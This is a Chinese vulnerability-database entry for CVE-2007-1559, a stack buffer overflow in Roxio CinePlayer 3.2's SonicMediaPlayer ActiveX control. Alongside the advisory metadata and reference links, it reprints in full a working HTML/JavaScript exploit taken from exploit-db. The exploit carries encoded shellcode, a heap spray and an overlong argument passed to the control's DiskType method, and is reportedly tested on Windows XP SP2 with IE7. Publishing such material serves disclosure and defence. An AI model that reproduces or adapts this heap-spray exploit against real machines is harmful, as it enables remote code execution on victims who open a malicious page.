Roxio CinePlayer SonicDVDDashVRNav.dll ActiveX控件多个栈缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112681 漏洞类型 缓冲区溢出
发布时间 2007-04-11 更新时间 2009-06-22
CVE编号 CVE-2007-1559 CNNVD-ID CNNVD-200704-189
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/29840
https://www.securityfocus.com/bid/23412
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-189
|漏洞详情
RoxioCinePlayer3.2版本中的SonicDVDDashVRNav.dll中存在多个基于栈的缓冲区溢出漏洞。远程攻击者可借助SonicMediaPlayer.dll中的未明超长属性值或SonicMediaPlayer.dll未明方法中的超长参数执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/23412/info

Roxio CinePlayer is prone to a stack-based buffer-overflow vulnerability because it fails to sufficiently check boundaries of user-supplied input before copying it to an insufficiently sized memory buffer.

A remote attacker may exploit this issue by enticing victims into opening a malicious HTML document.

Exploiting this issue allows the attacker to execute arbitrary code in the context of applications using the affected ActiveX control and to compromise affected computers. Failed attempts will likely result in denial-of-service conditions.

Roxio CinePlayer 3.2 is vulnerable; other versions may also be affected. 

<html> <head> <title>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</title> <br>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</br> <br>Advisory from secunia 22251</br> <br>By : Super-cristal</br> <br>Greetings: His0k4, snakespc.com</br> <br>Tested on Windows Xp Sp2 (en),with IE7</br> <object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='test'></object> <script language='javascript'> shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); nops=unescape('%u0c0c%u0c0c'); headersize =20; slackspace= headersize + shellcode.length; while( nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<262144) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode; buffer=''; for( counter=0; counter<=200; counter++) buffer+=unescape('%0c%0c%0c%0c'); test.DiskType( buffer); </script> </head> </html>
|受影响的产品
Roxio CinePlayer 3.2
|参考资料

来源:VUPEN
名称:ADV-2007-1337
链接:http://www.frsirt.com/english/advisories/2007/1337
来源:MISC
链接:http://secunia.com/secunia_research/2007-46/advisory/
来源:SECUNIA
名称:22251
链接:http://secunia.com/advisories/22251
来源:OSVDB
名称:34779
链接:http://osvdb.org/34779
来源:XF
名称:cineplayer-sonicmediaplayer-bo(33590)
链接:http://xforce.iss.net/xforce/xfdb/33590
来源:SECTRACK
名称:1017906
链接:http://www.securitytracker.com/id?1017906
来源:BID
名称:23412
链接:http://www.securityfocus.com/bid/23412